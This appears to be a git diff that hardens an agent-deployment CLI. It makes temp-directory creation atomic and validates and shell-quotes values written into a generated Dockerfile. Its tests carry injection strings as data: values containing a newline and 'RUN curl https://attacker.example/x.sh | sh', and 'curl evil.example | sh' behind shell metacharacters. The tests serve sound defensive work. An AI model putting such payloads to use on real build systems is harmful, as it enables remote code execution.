'Early Access Program names encode no numeric version, unlike the Python implementation', + }, +]; + +describe('canUseOutputSchemaWithTools', () => { + afterEach(() => { + vi.unstubAllEnvs(); + }); + + for (const {model, vertexEnv, expected, why} of TEST_CASES) { + const envLabel = vertexEnv === undefined ? 'unset' : `"${vertexEnv}"`; + it(`returns ${expected} for "${model}" with ${VERTEX_ENV_VAR} ${envLabel}: ${why}`, () => { + vi.stubEnv(VERTEX_ENV_VAR, vertexEnv); + + expect(canUseOutputSchemaWithTools(model)).toBe(expected); + }); + } +}); diff --git a/dev/src/cli/cli.ts b/dev/src/cli/cli.ts index f227c979f..da6db54ab 100644 --- a/dev/src/cli/cli.ts +++ b/dev/src/cli/cli.ts @@ -19,7 +19,6 @@ import * as path from 'path'; import {runIntegrationTests} from '../integration/run_integration_tests.js'; import {AdkApiServer} from '../server/adk_api_server.js'; import {FileModuleType} from '../utils/agent_loader.js'; -import {getTempDir} from '../utils/file_utils.js'; import {AdkLogger} from '../utils/logger.js'; import {version} from '../version.js'; import {createAgent} from './cli_create.js'; @@ -410,8 +409,7 @@ export function createProgram(): Command { ) .option( '--temp_folder [string]', - 'Optional. Temp folder for the generated Cloud Run source files (default: a timestamped folder in the system temp directory).', - getTempDir('cloud_run_deploy_src'), + 'Optional. Temp folder for the generated Cloud Run source files (default: a private directory created in the system temp directory).', ) .addOption(ADK_VERSION_OPTION) .addOption(WITH_UI_OPTION) @@ -475,8 +473,7 @@ export function createProgram(): Command { .addOption(REPOSITORY_DEPLOY_OPTION) .option( '--temp_folder [string]', - 'Optional. Temp folder for the generated source files (default: a timestamped folder in the system temp directory).', - getTempDir('agent_engine_deploy_src'), + 'Optional. Temp folder for the generated source files (default: a private directory created in the system temp directory).', ) .addOption(ADK_VERSION_OPTION) .addOption(WITH_UI_OPTION) diff --git a/dev/src/cli/deploy/cli_deploy_agent_engine.ts b/dev/src/cli/deploy/cli_deploy_agent_engine.ts index 434ed04d1..9d3f18031 100644 --- a/dev/src/cli/deploy/cli_deploy_agent_engine.ts +++ b/dev/src/cli/deploy/cli_deploy_agent_engine.ts @@ -10,7 +10,7 @@ import {Client} from '@google-cloud/vertexai/build/src/genai/client.js'; import {ReasoningEngine as VertexReasoningEngine} from '@google-cloud/vertexai/build/src/genai/types.js'; import {AgentLoader} from '../../utils/agent_loader.js'; -import {isFile, isFolderExists} from '../../utils/file_utils.js'; +import {createTempDir, isFile, isFolderExists} from '../../utils/file_utils.js'; import { BaseDeployOptions, copyAgentFiles, @@ -79,24 +79,24 @@ export async function deployToAgentEngine(options: DeployToAgentEngineOptions) { console.info('Starting deployment to Agent Engine...'); - if (await isFolderExists(options.tempFolder)) { - await fs.rm(options.tempFolder, {recursive: true, force: true}); + const tempFolder = + options.tempFolder ?? (await createTempDir('agent_engine_deploy_src')); + + if (options.tempFolder && (await isFolderExists(tempFolder))) { + await fs.rm(tempFolder, {recursive: true, force: true}); } try { - await fs.mkdir(options.tempFolder, {recursive: true}); + await fs.mkdir(tempFolder, {recursive: true}); console.info('Copying agent source files...'); - await copyAgentFiles( - agentLoader, - path.join(options.tempFolder, 'agents', appName), - ); + await copyAgentFiles(agentLoader, path.join(tempFolder, 'agents', appName)); console.info('Creating package.json...'); - await createPackageJson(agentDir, options.tempFolder); + await createPackageJson(agentDir, tempFolder); console.info('Creating Dockerfile...'); - await createDockerFile(options.tempFolder, { + await createDockerFile(tempFolder, { appName, project: options.project, region: options.region, @@ -124,7 +124,7 @@ export async function deployToAgentEngine(options: DeployToAgentEngineOptions) { 'submit', '--tag', imageTag, - options.tempFolder, + tempFolder, '--project', options.project, '--gcs-log-dir', @@ -215,7 +215,7 @@ export async function deployToAgentEngine(options: DeployToAgentEngineOptions) { throw e; } finally { console.info('Cleaning up temporary files...'); - await fs.rm(options.tempFolder, {recursive: true, force: true}); + await fs.rm(tempFolder, {recursive: true, force: true}); await agentLoader.disposeAll(); console.info('Temporary files cleaned up.'); } diff --git a/dev/src/cli/deploy/cli_deploy_cloud_run.ts b/dev/src/cli/deploy/cli_deploy_cloud_run.ts index ad55ab8fd..eeec5ddd6 100644 --- a/dev/src/cli/deploy/cli_deploy_cloud_run.ts +++ b/dev/src/cli/deploy/cli_deploy_cloud_run.ts @@ -8,7 +8,7 @@ import * as path from 'node:path'; import {A2A_AUTH_TOKEN_ENV_VAR} from '../../server/adk_api_server.js'; import {AgentLoader} from '../../utils/agent_loader.js'; -import {isFile, isFolderExists} from '../../utils/file_utils.js'; +import {createTempDir, isFile, isFolderExists} from '../../utils/file_utils.js'; import { BaseDeployOptions, CreateDockerFileContentOptions, @@ -84,8 +84,6 @@ function prepareGCloudArguments(options: DeployToCloudRunOptions): string[] { 'run', 'deploy', options.serviceName, - '--source', - options.tempFolder, '--project', options.project, ...regionOptions, @@ -152,6 +150,9 @@ export async function deployToCloudRun(options: DeployToCloudRunOptions) { ); } + // Built before any directory is created: a conflicting extra gcloud arg + // throws out of deployToCloudRun, and there is no `finally` this early to + // remove a temp folder. const gcloudCommands = prepareGCloudArguments(options); if (options.a2a && !options.a2aAuthToken) { @@ -181,23 +182,24 @@ export async function deployToCloudRun(options: DeployToCloudRunOptions) { console.info('Starting deployment to Cloud Run...'); - if (await isFolderExists(options.tempFolder)) { + const tempFolder = + options.tempFolder ?? (await createTempDir('cloud_run_deploy_src')); + gcloudCommands.push('--source', tempFolder); + + if (options.tempFolder && (await isFolderExists(tempFolder))) { console.info('Cleaning up existing temporary files...'); - await fs.rm(options.tempFolder, {recursive: true, force: true}); + await fs.rm(tempFolder, {recursive: true, force: true}); } try { console.info('Copying agent source files...'); - await copyAgentFiles( - agentLoader, - path.join(options.tempFolder, 'agents', appName), - ); + await copyAgentFiles(agentLoader, path.join(tempFolder, 'agents', appName)); console.info('Creating package.json...'); - await createPackageJson(agentDir, options.tempFolder); + await createPackageJson(agentDir, tempFolder); console.info('Creating Dockerfile...'); - await createDockerFile(options.tempFolder, { + await createDockerFile(tempFolder, { appName, project: options.project, region: options.region, @@ -219,7 +221,7 @@ export async function deployToCloudRun(options: DeployToCloudRunOptions) { ); } finally { console.info('Cleaning up temporary files...'); - await fs.rm(options.tempFolder, {recursive: true, force: true}); + await fs.rm(tempFolder, {recursive: true, force: true}); await agentLoader.disposeAll(); console.info('Temporary files cleaned up.'); } diff --git a/dev/src/cli/deploy/deploy_utils.ts b/dev/src/cli/deploy/deploy_utils.ts index 62cf1933e..ff405d5a9 100644 --- a/dev/src/cli/deploy/deploy_utils.ts +++ b/dev/src/cli/deploy/deploy_utils.ts @@ -51,33 +51,90 @@ export interface CreateDockerFileContentOptions { export interface BaseDeployOptions extends CreateDockerFileContentOptions { agentPath: string; - tempFolder: string; + /** + * Directory the generated deployment sources are staged in. When omitted, the + * deploy command creates a private temporary directory for the run and + * removes it when the deployment finishes. + */ + tempFolder?: string; adkVersion: string; agentFileLoadOptions?: AgentFileOptions; } +// Dockerfile instructions and the generated CMD's shell form have no +// generic escaping mechanism for interpolated values: a newline breaks out +// of the current instruction to start a new one, and shell metacharacters in +// the CMD line are interpreted by /bin/sh at container start. Restricting +// these values to a plain identifier closes both at once, since none of them +// (an agent name, a GCP project ID, or a GCP region) legitimately need +// anything outside this set. +const SAFE_DOCKERFILE_TOKEN_RE = /^[A-Za-z0-9_.-]{1,128}$/; + +function assertSafeDockerfileToken(value: string, label: string): void { + if (!SAFE_DOCKERFILE_TOKEN_RE.test(value)) { + throw new Error( + `Invalid ${label} ${JSON.stringify(value)}: must match ${SAFE_DOCKERFILE_TOKEN_RE} to be safely embedded in the generated Dockerfile.`, + ); + } +} + +// logLevel, allowOrigins, sessionServiceUri and artifactServiceUri are +// free-form (a service URI can carry credentials, allowOrigins is a +// comma-separated list) so they can't be restricted to the plain-identifier +// token above. They only reach the Dockerfile's CMD line, so a newline in +// any of them still breaks out of that instruction the same way appName +// does, and once inside the CMD line they're read by /bin/sh at container +// start, so shell metacharacters must be neutralized too. +function assertNoDockerfileNewline(value: string, label: string): void { + if (/[\r\n]/.test(value)) { + throw new Error( + `Invalid ${label} ${JSON.stringify(value)}: must not contain newline characters to be safely embedded in the generated Dockerfile.`, + ); + } +} + +function shellQuote(value: string): string { + return `'${value.replace(/'/g, `'\\''`)}'`; +} + export function createDockerFileContent( options: CreateDockerFileContentOptions, ): string { + assertSafeDockerfileToken(options.project, 'project'); + if (options.region) { + assertSafeDockerfileToken(options.region, 'region'); + } + if (options.appName) { + assertSafeDockerfileToken(options.appName, 'appName'); + } + const adkCommand = options.withUi ? 'web' : 'api_server'; const adkServerOptions = [`--port=${options.port}`, '--host=0.0.0.0']; if (options.logLevel) { - adkServerOptions.push(`--log_level=${options.logLevel}`); + assertNoDockerfileNewline(options.logLevel, 'logLevel'); + adkServerOptions.push(`--log_level=${shellQuote(options.logLevel)}`); } if (options.allowOrigins) { - adkServerOptions.push(`--allow_origins=${options.allowOrigins}`); + assertNoDockerfileNewline(options.allowOrigins, 'allowOrigins'); + adkServerOptions.push( + `--allow_origins=${shellQuote(options.allowOrigins)}`, + ); } if (options.artifactServiceUri) { + assertNoDockerfileNewline(options.artifactServiceUri, 'artifactServiceUri'); adkServerOptions.push( - `--artifact_service_uri=${options.artifactServiceUri}`, + `--artifact_service_uri=${shellQuote(options.artifactServiceUri)}`, ); } if (options.sessionServiceUri) { - adkServerOptions.push(`--session_service_uri=${options.sessionServiceUri}`); + assertNoDockerfileNewline(options.sessionServiceUri, 'sessionServiceUri'); + adkServerOptions.push( + `--session_service_uri=${shellQuote(options.sessionServiceUri)}`, + ); } if (options.otelToCloud) { diff --git a/dev/src/utils/agent_loader.ts b/dev/src/utils/agent_loader.ts index 448a32aeb..d5097c482 100644 --- a/dev/src/utils/agent_loader.ts +++ b/dev/src/utils/agent_loader.ts @@ -16,7 +16,7 @@ import * as path from 'node:path'; import {pathToFileURL} from 'node:url'; import { - getTempDir, + createTempDir, isFile, isFileExists, isFolderExists, @@ -169,13 +169,12 @@ export class AgentFile { const moduleType = this.options.moduleType || (await getFileModuleType(filePath)); const parsedPath = path.parse(filePath); - const outputDir = getTempDir('adk_agent_loader'); + const outputDir = await createTempDir('adk_agent_loader'); const compiledFilePath = path.join( outputDir, parsedPath.name + FILE_MODULE_TYPE_EXTENSION_MAP[moduleType], ); const originalDir = path.dirname(filePath); - await fsPromises.mkdir(outputDir, {recursive: true}); await linkProjectNodeModules(outputDir, parsedPath.dir); await esbuild.build({ @@ -187,7 +186,6 @@ export class AgentFile { packages: 'bundle', bundle: this.options.bundle, minify: this.options.bundle, - allowOverwrite: true, plugins: [replaceDirnamePlugin(filePath, originalDir), shimPlugin()], // See http://mikro-orm.io/docs/deployment#deploy-a-bundle-of-entities-and-dependencies-with-esbuild for more details external: [ diff --git a/dev/src/utils/file_utils.ts b/dev/src/utils/file_utils.ts index 43998bcc6..05d3167ba 100644 --- a/dev/src/utils/file_utils.ts +++ b/dev/src/utils/file_utils.ts @@ -4,7 +4,6 @@ * SPDX-License-Identifier: Apache-2.0 */ -import * as crypto from 'node:crypto'; import * as fs from 'node:fs/promises'; import * as os from 'node:os'; import * as path from 'node:path'; @@ -100,20 +99,20 @@ export async function saveToFile(filePath: string, data: T): Promise { } /** - * Return a temporary directory path. - * @param prefix Optional prefix for the temp directory - * @returns + * Atomically creates a private temporary directory and returns its path. + * + * The directory is created by a single `mkdtemp` call directly under the system + * temp root, with a random name and, on POSIX, mode 0700. Composing the path + * from a fixed prefix and materialising it later with a recursive `mkdir` would + * leave a predictable intermediate directory that another local user can + * pre-create or replace with a symlink, placing everything written afterwards + * under their control. + * + * @param prefix Name prefix for the directory. Must be a single path segment. + * @returns The absolute path of the newly created directory. */ -export function getTempDir(prefix?: string): string { - const pathParts = [os.tmpdir()]; - - if (prefix) { - pathParts.push(prefix); - } - - pathParts.push(crypto.randomUUID()); - - return path.join(...pathParts); +export async function createTempDir(prefix: string): Promise { + return fs.mkdtemp(path.join(os.tmpdir(), `${prefix}-`)); } /** diff --git a/dev/test/cli/cli_deploy_agent_engine_test.ts b/dev/test/cli/cli_deploy_agent_engine_test.ts index f20519350..d7121e9be 100644 --- a/dev/test/cli/cli_deploy_agent_engine_test.ts +++ b/dev/test/cli/cli_deploy_agent_engine_test.ts @@ -14,6 +14,7 @@ import { } from '../../src/cli/deploy/cli_deploy_agent_engine.js'; import {AgentLoader} from '../../src/utils/agent_loader.js'; import { + createTempDir, isFile, isFolderExists, loadFileData, @@ -130,6 +131,7 @@ vi.mock('../../src/utils/agent_loader.js', () => ({ })); vi.mock('../../src/utils/file_utils.js', () => ({ + createTempDir: vi.fn(), isFile: vi.fn(), isFolderExists: vi.fn(), loadFileData: vi.fn(), @@ -300,6 +302,25 @@ describe('deployToAgentEngine', () => { expect(exists).toBe(false); }); + it('should create a private temp folder when none is supplied', async () => { + const createdTempFolder = await fs.mkdtemp( + path.join(os.tmpdir(), 'agent_engine_deploy_src-'), + ); + globalThis.fsMockTempFolder = createdTempFolder; + (createTempDir as Mock).mockResolvedValue(createdTempFolder); + + await deployToAgentEngine({...defaultOptions, tempFolder: undefined}); + + expect(createTempDir).toHaveBeenCalledWith('agent_engine_deploy_src'); + expect(spawnMock).toHaveBeenCalledWith( + 'gcloud', + expect.arrayContaining(['builds', 'submit', createdTempFolder]), + expect.any(Object), + ); + expect(isFolderExists).not.toHaveBeenCalled(); + await expect(fs.access(createdTempFolder)).rejects.toThrow(); + }); + it('should deploy successfully with all optional parameters', async () => { const optionsWithAll: DeployToAgentEngineOptions = { ...defaultOptions, diff --git a/dev/test/cli/cli_deploy_cloud_run_test.ts b/dev/test/cli/cli_deploy_cloud_run_test.ts index e79bed848..e24ff4bc3 100644 --- a/dev/test/cli/cli_deploy_cloud_run_test.ts +++ b/dev/test/cli/cli_deploy_cloud_run_test.ts @@ -14,6 +14,7 @@ import { import {A2A_AUTH_TOKEN_ENV_VAR} from '../../src/server/adk_api_server.js'; import {AgentLoader} from '../../src/utils/agent_loader.js'; import { + createTempDir, isFile, isFolderExists, loadFileData, @@ -57,6 +58,7 @@ vi.mock('../../src/utils/agent_loader.js', () => ({ })); vi.mock('../../src/utils/file_utils.js', () => ({ + createTempDir: vi.fn(), isFile: vi.fn(), isFolderExists: vi.fn(), loadFileData: vi.fn(), @@ -109,9 +111,105 @@ describe('createDockerFileContent', () => { allowOrigins: 'http://example.com', otelToCloud: true, }); - expect(content).toContain('--allow_origins=http://example.com'); + expect(content).toContain("--allow_origins='http://example.com'"); expect(content).toContain('--otel_to_cloud'); }); + + it('should reject logLevel/allowOrigins/sessionServiceUri/artifactServiceUri containing a newline', () => { + // These reach the shell-interpreted CMD line via adkServerOptions, so a + // newline in any of them breaks out of that Dockerfile instruction the + // same way appName/project/region do. + for (const [label, value] of [ + ['logLevel', {logLevel: 'info\nRUN sh -c "curl evil.example|sh"\n#'}], + [ + 'allowOrigins', + {allowOrigins: 'http://a\nRUN sh -c "curl evil.example|sh"\n#'}, + ], + [ + 'sessionServiceUri', + {sessionServiceUri: 'memory://\nRUN sh -c "curl evil.example|sh"\n#'}, + ], + [ + 'artifactServiceUri', + {artifactServiceUri: 'gs://b\nRUN sh -c "curl evil.example|sh"\n#'}, + ], + ] as const) { + expect(() => + createDockerFileContent({...defaultOptions, ...value}), + ).toThrow(new RegExp(`Invalid ${label}`)); + } + }); + + it('should shell-quote logLevel/allowOrigins/sessionServiceUri/artifactServiceUri in the CMD line', () => { + // These values reach /bin/sh at container start via the CMD line's + // shell form, so shell metacharacters must be neutralized by quoting. + const content = createDockerFileContent({ + ...defaultOptions, + logLevel: 'info; curl evil.example | sh #', + sessionServiceUri: 'memory://; curl evil.example | sh #', + artifactServiceUri: 'gs://bucket; curl evil.example | sh #', + }); + expect(content).toContain("--log_level='info; curl evil.example | sh #'"); + expect(content).toContain( + "--session_service_uri='memory://; curl evil.example | sh #'", + ); + expect(content).toContain( + "--artifact_service_uri='gs://bucket; curl evil.example | sh #'", + ); + }); + + it('should escape an embedded single quote when shell-quoting', () => { + const content = createDockerFileContent({ + ...defaultOptions, + logLevel: "info'; curl evil.example | sh #", + }); + expect(content).toContain( + "--log_level='info'\\''; curl evil.example | sh #'", + ); + }); + + it('should reject an appName that would break out of the generated Dockerfile', () => { + // A newline lets an attacker-controlled agent directory name terminate + // the COPY instruction it's embedded in and start a new Dockerfile + // instruction (e.g. RUN), executed during `docker build`. + expect(() => + createDockerFileContent({ + ...defaultOptions, + appName: 'x"\nRUN curl https://attacker.example/x.sh | sh\n#', + }), + ).toThrow(/Invalid appName/); + }); + + it('should reject a project that would break out of the generated Dockerfile', () => { + expect(() => + createDockerFileContent({ + ...defaultOptions, + project: 'p\nRUN curl https://attacker.example/x.sh | sh\n#', + }), + ).toThrow(/Invalid project/); + }); + + it('should reject a region that would start a new Dockerfile instruction', () => { + // region only reaches the ENV GOOGLE_CLOUD_LOCATION= line, not the + // shell-interpreted CMD line, so the vector here is a newline breaking + // out of that instruction, not a shell metacharacter. + expect(() => + createDockerFileContent({ + ...defaultOptions, + region: 'us-central1\nRUN curl https://attacker.example/x.sh | sh\n#', + }), + ).toThrow(/Invalid region/); + }); + + it('should still accept appName/project/region containing dots, dashes, and underscores', () => { + const content = createDockerFileContent({ + ...defaultOptions, + appName: 'my-agent_v2.1', + project: 'my-project.example-123', + }); + expect(content).toContain('agents/my-agent_v2.1/'); + expect(content).toContain('GOOGLE_CLOUD_PROJECT=my-project.example-123'); + }); }); describe('deployToCloudRun', () => { @@ -247,6 +345,22 @@ describe('deployToCloudRun', () => { ); }); + it('should create a private temp folder when none is supplied', async () => { + const createdTempFolder = '/tmp/cloud_run_deploy_src-abc123'; + (createTempDir as Mock).mockResolvedValue(createdTempFolder); + + await deployToCloudRun({...defaultOptions, tempFolder: undefined}); + + expect(createTempDir).toHaveBeenCalledWith('cloud_run_deploy_src'); + expect(spawnMock.mock.calls[0][1]).toContain(createdTempFolder); + expect(isFolderExists).not.toHaveBeenCalled(); + expect(fs.rm).toHaveBeenCalledTimes(1); + expect(fs.rm).toHaveBeenCalledWith(createdTempFolder, { + recursive: true, + force: true, + }); + }); + it('should clean up existing temp folder before deploying', async () => { (isFolderExists as Mock).mockResolvedValue(true); @@ -332,6 +446,19 @@ describe('deployToCloudRun', () => { }, ); + it('should not create a temp folder when the gcloud args are rejected', async () => { + await expect( + deployToCloudRun({ + ...defaultOptions, + tempFolder: undefined, + extraGcloudArgs: ['--project=other'], + }), + ).rejects.toThrow(/conflict with ADK's automatic configuration/); + + expect(createTempDir).not.toHaveBeenCalled(); + expect(fs.rm).not.toHaveBeenCalled(); + }); + it('should still allow user env-var flags when no A2A token is given', async () => { await deployToCloudRun({ ...defaultOptions, diff --git a/dev/test/cli/cli_test.ts b/dev/test/cli/cli_test.ts index 75d003802..f0f940e99 100644 --- a/dev/test/cli/cli_test.ts +++ b/dev/test/cli/cli_test.ts @@ -278,6 +278,14 @@ describe('CLI Entrypoint', () => { ); }); + it('should leave tempFolder unset so no temp directory is created eagerly', async () => { + await parse(['deploy', 'cloud_run']); + + expect( + (deployToCloudRun as Mock).mock.calls[0][0].tempFolder, + ).toBeUndefined(); + }); + it('should pass args to deployToCloudRun including unknowns', async () => { const args = [ 'deploy', @@ -350,6 +358,14 @@ describe('CLI Entrypoint', () => { ); }); + it('should leave tempFolder unset so no temp directory is created eagerly', async () => { + await parse(['deploy', 'agent_engine']); + + expect( + (deployToAgentEngine as Mock).mock.calls[0][0].tempFolder, + ).toBeUndefined(); + }); + it('should pass args to deployToAgentEngine', async () => { const args = [ 'deploy', diff --git a/dev/test/utils/agent_loader_test.ts b/dev/test/utils/agent_loader_test.ts index d53160d9d..2285df895 100644 --- a/dev/test/utils/agent_loader_test.ts +++ b/dev/test/utils/agent_loader_test.ts @@ -29,7 +29,7 @@ import { import * as fileUtils from '../../src/utils/file_utils.js'; vi.mock('../../src/utils/file_utils.js', () => ({ - getTempDir: vi.fn(), + createTempDir: vi.fn(), isFile: vi.fn(), isFileExists: vi.fn(), isFolderExists: vi.fn(), @@ -161,7 +161,10 @@ describe('AgentLoader', () => { }); beforeEach(async () => { - (fileUtils.getTempDir as Mock).mockImplementation(() => tempLoaderDir); + (fileUtils.createTempDir as Mock).mockImplementation(async () => { + await fs.mkdir(tempLoaderDir, {recursive: true}); + return tempLoaderDir; + }); (fileUtils.isFile as Mock).mockImplementation(async (filePath) => { try { const stat = await fs.stat(filePath as string); @@ -281,7 +284,6 @@ describe('AgentLoader', () => { packages: 'bundle', bundle: true, minify: true, - allowOverwrite: true, external: expect.arrayContaining(['onnxruntime-node']), }); @@ -289,6 +291,27 @@ describe('AgentLoader', () => { await expect(fs.access(compiledAgentPath)).rejects.toThrow(); }); + it('compiles into a private temp dir without allowing overwrite', async () => { + const agentPath = path.join(tempAgentsDir, 'agent1.js'); + await fs.writeFile(agentPath, agent1JsContent); + + const compiledAgentPath = compiledPath('agent1.cjs'); + (esbuild.build as Mock).mockImplementation(async () => { + await fs.writeFile(compiledAgentPath, agent1JsContent); + return Promise.resolve(); + }); + + const agentFile = new AgentFile(agentPath); + await agentFile.load(); + + expect(fileUtils.createTempDir).toHaveBeenCalledWith('adk_agent_loader'); + expect( + (esbuild.build as Mock).mock.calls[0][0].allowOverwrite, + ).toBeUndefined(); + + await agentFile.dispose(); + }); + it('throws if rootAgent is not found', async () => { const agentPath = path.join(tempAgentsDir, 'bad_agent.js'); await fs.writeFile(agentPath, 'exports.someOther = 1;'); @@ -643,13 +666,10 @@ describe('AgentLoader', () => { describe('AgentLoader', () => { beforeEach(async () => { - let loaderOutputDirIndex = 0; - (fileUtils.getTempDir as Mock).mockImplementation(() => - path.join( - tempLoaderDir, - `agent-${Date.now()}-${Math.random().toString(36).slice(2)}-${loaderOutputDirIndex++}`, - ), - ); + (fileUtils.createTempDir as Mock).mockImplementation(async () => { + await fs.mkdir(tempLoaderDir, {recursive: true}); + return fs.mkdtemp(path.join(tempLoaderDir, 'agent-')); + }); await fs.writeFile( path.join(tempAgentsDir, 'agent1.js'), diff --git a/dev/test/utils/file_utils_temp_dir_test.ts b/dev/test/utils/file_utils_temp_dir_test.ts new file mode 100644 index 000000000..6de6f5b1c --- /dev/null +++ b/dev/test/utils/file_utils_temp_dir_test.ts @@ -0,0 +1,114 @@ +/** + * @license + * Copyright 2026 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +// These cases run against the real filesystem. They cannot live in +// file_utils_test.ts, which mocks `node:fs/promises` module-wide and therefore +// makes the actual `mkdtemp` behaviour under test here unobservable. + +import {randomUUID} from 'node:crypto'; +import * as fs from 'node:fs/promises'; +import * as os from 'node:os'; +import * as path from 'node:path'; +import {afterEach, describe, expect, it} from 'vitest'; + +import {createTempDir} from '../../src/utils/file_utils.js'; + +describe('createTempDir', () => { + const createdDirs: string[] = []; + const plantedLinks: string[] = []; + let prefix = ''; + + function trackedPrefix(): string { + prefix = `adk_test_${randomUUID()}`; + return prefix; + } + + async function create(): Promise { + const dir = await createTempDir(prefix); + createdDirs.push(dir); + return dir; + } + + afterEach(async () => { + for (const link of plantedLinks.splice(0)) { + await fs.unlink(link); + } + for (const dir of createdDirs.splice(0)) { + await fs.rm(dir, {recursive: true, force: true}); + } + }); + + it('returns a directory that exists and is empty', async () => { + trackedPrefix(); + + const dir = await create(); + + expect((await fs.stat(dir)).isDirectory()).toBe(true); + expect(await fs.readdir(dir)).toHaveLength(0); + }); + + it('creates the directory directly under the temp root', async () => { + trackedPrefix(); + + const dir = await create(); + + expect(path.dirname(dir)).toBe(path.resolve(os.tmpdir())); + expect(path.basename(dir).startsWith(`${prefix}-`)).toBe(true); + }); + + it('creates no predictable intermediate directory', async () => { + trackedPrefix(); + + await create(); + + await expect(fs.stat(path.join(os.tmpdir(), prefix))).rejects.toThrow(); + }); + + it.skipIf(process.platform === 'win32')( + 'creates the directory private to the current user', + async () => { + trackedPrefix(); + + const dir = await create(); + + expect((await fs.stat(dir)).mode & 0o777).toBe(0o700); + }, + ); + + it('returns a distinct directory on every call', async () => { + trackedPrefix(); + + const first = await create(); + const second = await create(); + + expect(first).not.toBe(second); + expect((await fs.stat(first)).isDirectory()).toBe(true); + expect((await fs.stat(second)).isDirectory()).toBe(true); + }); + + it.skipIf(process.platform === 'win32')( + 'ignores a symlink planted at the predictable parent path', + async () => { + trackedPrefix(); + const attackerDir = await fs.mkdtemp( + path.join(os.tmpdir(), 'adk_test_attacker-'), + ); + createdDirs.push(attackerDir); + const link = path.join(os.tmpdir(), prefix); + await fs.symlink(attackerDir, link); + plantedLinks.push(link); + expect(await fs.realpath(link)).toBe(await fs.realpath(attackerDir)); + + const dir = await create(); + + expect(path.dirname(dir)).toBe(path.resolve(os.tmpdir())); + expect(path.dirname(await fs.realpath(dir))).not.toBe( + await fs.realpath(attackerDir), + ); + expect(await fs.readdir(attackerDir)).toHaveLength(0); + }, + ); +}); diff --git a/dev/test/utils/file_utils_test.ts b/dev/test/utils/file_utils_test.ts index 8bd5dfdcd..2f2747730 100644 --- a/dev/test/utils/file_utils_test.ts +++ b/dev/test/utils/file_utils_test.ts @@ -7,7 +7,7 @@ import * as path from 'node:path'; import {afterEach, beforeEach, describe, expect, it, Mock, vi} from 'vitest'; import { - getTempDir, + createTempDir, isFile, isFileExists, isFolderExists, @@ -25,6 +25,7 @@ vi.mock('node:fs/promises', async () => { access: vi.fn(), stat: vi.fn(), mkdir: vi.fn(), + mkdtemp: vi.fn(), rm: vi.fn(), readdir: vi.fn(), }; @@ -44,6 +45,7 @@ describe('file_utils', () => { access: Mock; stat: Mock; mkdir: Mock; + mkdtemp: Mock; rm: Mock; readdir: Mock; }; @@ -61,6 +63,7 @@ describe('file_utils', () => { access: Mock; stat: Mock; mkdir: Mock; + mkdtemp: Mock; rm: Mock; readdir: Mock; }; @@ -122,15 +125,15 @@ describe('file_utils', () => { ); }); - it('getTempDir uses os.tmpdir and optional prefix and crypto.randomUUID', () => { + it('createTempDir creates the directory atomically under os.tmpdir', async () => { osMock.tmpdir.mockReturnValue('/tmp'); - const dir = getTempDir('myprefix'); - const basename = path.basename(dir); - const parentDir = path.dirname(dir); + fsPromises.mkdtemp.mockResolvedValue('/tmp/myprefix-a1b2c3'); - expect(parentDir).toBe(path.join('/tmp', 'myprefix')); - expect(basename).toMatch( - /^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$/, + await expect(createTempDir('myprefix')).resolves.toBe( + '/tmp/myprefix-a1b2c3', + ); + expect(fsPromises.mkdtemp).toHaveBeenCalledWith( + path.join('/tmp', 'myprefix-'), ); }); diff --git a/tests/integration/agent_loader/agent_dirname_test.ts b/tests/integration/agent_loader/agent_dirname_test.ts index 1e71a3a1d..8b2374439 100644 --- a/tests/integration/agent_loader/agent_dirname_test.ts +++ b/tests/integration/agent_loader/agent_dirname_test.ts @@ -47,15 +47,19 @@ describe.each(['__dirname', '__filename', 'import_meta_url'])( ); afterAll(async () => { - await fs - .rm(path.join(projectPath, 'node_modules'), { - recursive: true, - force: true, - }) - .catch(() => {}); - await fs - .unlink(path.join(projectPath, 'package-lock.json')) - .catch(() => {}); + // Reported, not thrown: a dirty fixture must be visible, but a failed + // teardown must not turn a green suite red. Each removal is independent + // so an early failure cannot skip the rest. + for (const target of ['node_modules', 'package-lock.json']) { + await fs + .rm(path.join(projectPath, target), {recursive: true, force: true}) + .catch((error: unknown) => + console.error( + `Cleanup failed for ${projectPath}/${target}:`, + error, + ), + ); + } }, TEST_EXECUTION_TIMEOUT); }, ); diff --git a/tests/integration/skills/script_js/agent_test.ts b/tests/integration/skills/script_js/agent_test.ts index b17df2c86..dc73b6c94 100644 --- a/tests/integration/skills/script_js/agent_test.ts +++ b/tests/integration/skills/script_js/agent_test.ts @@ -93,16 +93,21 @@ describe('Agent with skills that generates JS script and runs it locally', () => ); afterAll(async () => { - // delete generated files - await fs - .rm(`${PROJECT_PATH}/ephemeral_entanglement.md`, {force: true}) - .catch(() => {}); - await fs.rm(`${PROJECT_PATH}/index.html`, {force: true}).catch(() => {}); - await fs.rm(`${PROJECT_PATH}/sketch.js`, {force: true}).catch(() => {}); - - await fs - .rm(`${PROJECT_PATH}/node_modules`, {recursive: true, force: true}) - .catch(() => {}); - await fs.unlink(`${PROJECT_PATH}/package-lock.json`).catch(() => {}); + // Reported, not thrown: a dirty fixture must be visible, but a failed + // teardown must not turn a green suite red. Each removal is independent so + // an early failure cannot skip the rest. + for (const target of [ + 'ephemeral_entanglement.md', + 'index.html', + 'sketch.js', + 'node_modules', + 'package-lock.json', + ]) { + await fs + .rm(`${PROJECT_PATH}/${target}`, {recursive: true, force: true}) + .catch((error: unknown) => + console.error(`Cleanup failed for ${PROJECT_PATH}/${target}:`, error), + ); + } }); });